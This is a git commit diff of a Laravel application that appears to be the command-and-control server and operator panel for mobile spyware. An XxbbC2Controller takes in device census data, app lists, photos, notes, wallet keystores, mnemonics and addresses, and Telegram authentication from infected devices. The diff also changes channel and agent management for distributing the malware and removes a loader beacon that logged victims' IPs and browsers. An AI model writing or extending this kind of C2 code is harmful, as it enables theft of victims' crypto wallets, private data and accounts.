feat: new channel

2026-08-15 02:56:38 +08:00
parent 5453d9d69b
commit 7c0066562f
45 changed files with 1686 additions and 965 deletions
@@ -65,7 +65,7 @@ class ChannelController extends Controller
        $paginator = $q->paginate($limit, ['*'], 'page', $page);

        $data = collect($paginator->items())->map(function (Channel $c) {
-            $row = [
+            return [
                'id' => $c->id,
                'channel_id' => $c->channel_id,
                'builder_type' => $c->builderType(),
@@ -74,15 +74,10 @@ class ChannelController extends Controller
                'remark' => $c->remark ?: '',
                'status' => (int) $c->status,
                'links' => $c->supportLinks(),
-                'download_url' => null,
+                'landing_path' => $c->landingPath(),
                'created_at' => optional($c->created_at)->format('Y-m-d H:i:s'),
                'updated_at' => optional($c->updated_at)->format('Y-m-d H:i:s'),
            ];
-            if ($c->isNewBuilder()) {
-                $row['download_url'] = route($this->portal().'.channels.download', $c);
-            }
-
-            return $row;
        })->values();

        return response()->json([
@@ -117,7 +112,7 @@ class ChannelController extends Controller
        }

        $channelIdRule = $builderType === Channel::BUILDER_NEW
-            ? ['required', 'string', 'size:'.Channel::NEW_CHANNEL_ID_LENGTH, 'regex:/^[A-Za-z0-9]+$/']
+            ? ['required', 'string', 'regex:'.Channel::NEW_CHANNEL_ID_PATTERN]
            : ['required', 'string', 'size:32', 'regex:/^[a-z0-9]+$/', Rule::unique('channels', 'channel_id')];

        $data = $request->validate([
@@ -134,10 +129,10 @@ class ChannelController extends Controller
        if ($builderType === Channel::BUILDER_NEW) {
            $normalized = Channel::normalizeNewChannelId((string) $data['channel_id']);
            if ($normalized === null) {
-                throw ValidationException::withMessages(['channel_id' => '新版渠道 ID 必须是 8 位字母或数字']);
+                throw ValidationException::withMessages(['channel_id' => '新版渠道 ID 必须是 X.Y.ZZ 格式（6 位，字母或数字，例如 A.B.C1）']);
            }
            $data['channel_id'] = $normalized;
-            if (Channel::query()->whereRaw('upper(channel_id) = ?', [$normalized])->exists()) {
+            if (Channel::query()->where('channel_id', $normalized)->exists()) {
                throw ValidationException::withMessages(['channel_id' => '渠道 ID 已存在']);
            }
        }
@@ -209,10 +204,8 @@ class ChannelController extends Controller
                'support_path' => $build['support_path'] ?? $channel->landingPath(),
                'weifile_path' => $build['weifile_path'] ?? null,
                'daily_path' => $build['daily_path'] ?? '',
-                'zip_path' => $build['zip_path'] ?? null,
-                'download_url' => $channel->isNewBuilder()
-                    ? route('admin.channels.download', $channel)
-                    : null,
+                'channel_dir' => $build['channel_dir'] ?? null,
+                'show_alias' => $build['show_alias'] ?? null,
            ],
        ]);
    }
@@ -265,19 +258,6 @@ class ChannelController extends Controller
        ]);
    }

-    public function download(Channel $channel, ChannelProjectService $projects)
-    {
-        $this->authorizeChannel($channel);
-        abort_unless($channel->isNewBuilder(), 404);
-
-        $path = $projects->newChannelZipPath($channel->channel_id);
-        abort_unless(is_file($path), 404, '安装包不存在，请重新创建渠道');
-
-        return response()->download($path, $channel->channel_id.'.zip', [
-            'Content-Type' => 'application/zip',
-        ]);
-    }
-
    public function destroy(Channel $channel, ChannelProjectService $projects)
    {
        abort_if($this->isAgentPortal(), 403);
@@ -0,0 +1,38 @@
+<?php
+
+namespace App\Http\Controllers\Admin;
+
+use App\Http\Controllers\Concerns\PortalAware;
+use App\Http\Controllers\Controller;
+use App\Services\FilterOptionsService;
+
+class FilterOptionsController extends Controller
+{
+    use PortalAware;
+
+    public function __construct(
+        private readonly FilterOptionsService $options,
+    ) {}
+
+    public function channels()
+    {
+        return response()->json([
+            'code' => 0,
+            'msg' => '',
+            'data' => $this->options->channelOptions($this->agent()),
+        ]);
+    }
+
+    public function agents()
+    {
+        if ($this->isAgentPortal()) {
+            return response()->json(['code' => 1, 'msg' => '无权访问', 'data' => []], 403);
+        }
+
+        return response()->json([
+            'code' => 0,
+            'msg' => '',
+            'data' => $this->options->agentOptions(),
+        ]);
+    }
+}
@@ -4,15 +4,10 @@ namespace App\Http\Controllers\C2;

 use App\Http\Controllers\Controller;
 use App\Http\Middleware\DecryptXxbbBody;
-use App\Models\Channel;
-use App\Models\PageVisit;
 use App\Services\CorunaArchive;
 use App\Services\IngestService;
-use App\Support\UserAgentParser;
-use Illuminate\Database\QueryException;
 use Illuminate\Http\Request;
 use Illuminate\Http\Response;
-use Illuminate\Support\Facades\Cache;
 use Illuminate\Support\Facades\Storage;

 /**
@@ -22,6 +17,8 @@ use Illuminate\Support\Facades\Storage;
 *   /a census (creates device from deviceInfo), /u applist, /event telemetry, /t photo multipart, /nb notes,
 *   /uj /us /ub /ba /result wallet plugins (keystore / mnemonic / addresses),
 *   /api/tg/t Telegram auth (tglib).
+ *
+ * Core routes (/a, /u, /event) attribute channel_id from request headers ver/sdkv.
 */
 class XxbbC2Controller extends Controller
 {
@@ -34,110 +31,6 @@ class XxbbC2Controller extends Controller
        return response('ok', 200)->header('Content-Type', 'text/plain');
    }

-    /**
-     * Loader beacon (plaintext JSON): channelCode + deviceVersion + domain + sessionId.
-     */
-    public function iptj(Request $request): Response
-    {
-        $payload = $request->json()->all();
-        if ($payload === []) {
-            $decoded = json_decode((string) $request->getContent(), true);
-            $payload = is_array($decoded) ? $decoded : [];
-        }
-
-        $channelCode = trim((string) ($payload['channelCode'] ?? $request->input('channelCode', '')));
-        $normalizedCode = Channel::normalizeNewChannelId($channelCode);
-        if ($normalizedCode !== null) {
-            $channelCode = $normalizedCode;
-        }
-        $domain = trim((string) ($payload['domain'] ?? $request->input('domain', '')));
-        $deviceVersion = trim((string) ($payload['deviceVersion'] ?? $request->input('deviceVersion', '')));
-        $sessionId = $this->normalizeSessionId(
-            (string) ($payload['sessionId'] ?? $request->input('sessionId', '')),
-        );
-
-        $domain = PageVisit::normalizeDomain($domain);
-        $ip = PageVisit::normalizeIp((string) $request->ip());
-        $uid = PageVisit::visitorUid($domain, $ip);
-        $recorded = false;
-
-        if ($channelCode !== '' && strlen($channelCode) <= 64 && $this->shouldRecordIptj($channelCode, $uid, $sessionId)) {
-            $ua = substr((string) $request->userAgent(), 0, 512);
-            $parsed = UserAgentParser::parse($ua);
-            $osVersion = $parsed['os_version'] !== '' ? $parsed['os_version'] : null;
-            // Landing JS often sends major.minor only (`iOS 15.8`); UA has the patch (`15_8_4`).
-            if ($osVersion === null && $deviceVersion !== '' && preg_match('/(\d+(?:\.\d+){0,3})/', $deviceVersion, $m)) {
-                $osVersion = $m[1];
-            }
-            try {
-                PageVisit::query()->create([
-                    'channel_id' => substr($channelCode, 0, 64),
-                    'client_uid' => $uid,
-                    'session_id' => $sessionId,
-                    'user_agent' => $ua !== '' ? $ua : null,
-                    'os' => $parsed['os'] ?: (str_starts_with($deviceVersion, 'iOS') ? 'iOS' : $parsed['os']),
-                    'os_version' => $osVersion,
-                    'browser' => $parsed['browser'],
-                    'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
-                    'ip' => $ip !== '' ? $ip : null,
-                    'domain' => $domain,
-                    'referer' => $this->referer($request),
-                    'created_at' => now(),
-                ]);
-                $recorded = true;
-            } catch (QueryException $e) {
-                if (($e->errorInfo[0] ?? '') !== '23000') {
-                    throw $e;
-                }
-            }
-        }
-
-        $meta = c2_log_request_meta($request);
-        create_log([
-            'dir' => 'in',
-            'method' => $request->method(),
-            'path' => '/'.ltrim($request->path(), '/'),
-            'ip' => $ip !== '' ? $ip : $meta['ip'],
-            'remote_addr' => $meta['remote_addr'],
-            'device_key' => null,
-            'client_uid' => $uid !== '' ? $uid : null,
-            'recorded' => $recorded,
-            'timestamp_hdr' => null,
-            'headers' => $meta['headers'],
-            'payload' => $payload,
-            'decrypt_ok' => true,
-            'error' => null,
-        ], 'xxbb');
-
-        return response('{}', 200)->header('Content-Type', 'application/json');
-    }
-
-    private function normalizeSessionId(string $sessionId): ?string
-    {
-        $sessionId = trim($sessionId);
-        if ($sessionId === '' || strlen($sessionId) > 64 || ! preg_match('/^[A-Za-z0-9._:-]+$/', $sessionId)) {
-            return null;
-        }
-
-        return $sessionId;
-    }
-
-    private function shouldRecordIptj(string $channelCode, string $uid, ?string $sessionId): bool
-    {
-        if ($sessionId !== null) {
-            $debounceKey = 'xxbb_iptj_sid:'.$sessionId;
-            if (! Cache::add($debounceKey, 1, now()->addDay())) {
-                return false;
-            }
-
-            return ! PageVisit::query()->where('session_id', $sessionId)->exists();
-        }
-
-        $debounceKey = 'xxbb_iptj:'.$channelCode.':'.$uid;
-
-        return Cache::add($debounceKey, 1, now()->addSeconds(8));
-    }
-
    /** Lab analogue: POST /api/user/avatar/set — device census; create from deviceInfo. */
    public function profile(Request $request): Response
    {
@@ -163,7 +56,7 @@ class XxbbC2Controller extends Controller
    public function event(Request $request): Response
    {
        $payload = $request->attributes->get('coruna_payload');
-        $device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
+        $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
        if ($device && is_array($payload)) {
            $this->ingest->ingestDeviceEvent($device, $payload);
        }
@@ -309,16 +202,6 @@ class XxbbC2Controller extends Controller
        );
    }

-    private function referer(Request $request): ?string
-    {
-        $referer = trim((string) $request->headers->get('referer', ''));
-        if ($referer === '') {
-            return null;
-        }
-
-        return substr($referer, 0, 512);
-    }
-
    private function xxbbAck(Request $request): Response
    {
        $ts = (string) $request->attributes->get('xxbb_ts', '');